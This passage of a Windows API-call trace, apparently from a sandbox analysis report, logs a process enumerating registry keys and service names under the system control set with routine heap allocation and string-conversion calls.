lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.712] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0223.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0223.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0223.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0223.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0223.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0223.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0223.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.714] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0223.714] RegCloseKey (hKey=0x148) returned 0x0 [0223.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0223.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0223.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0223.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0223.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.714] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0223.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0223.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.715] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0223.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0223.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.715] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0223.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0223.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.715] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0223.715] RegCloseKey (hKey=0x14c) returned 0x0 [0223.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0223.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0223.715] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0223.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0223.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1850, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0223.716] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.750] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0223.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0223.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0223.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.751] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0223.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0223.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1850, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0223.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.751] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0223.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0223.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0223.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.751] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0223.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0223.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1850, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0223.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.751] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0223.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0223.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.752] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0223.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, 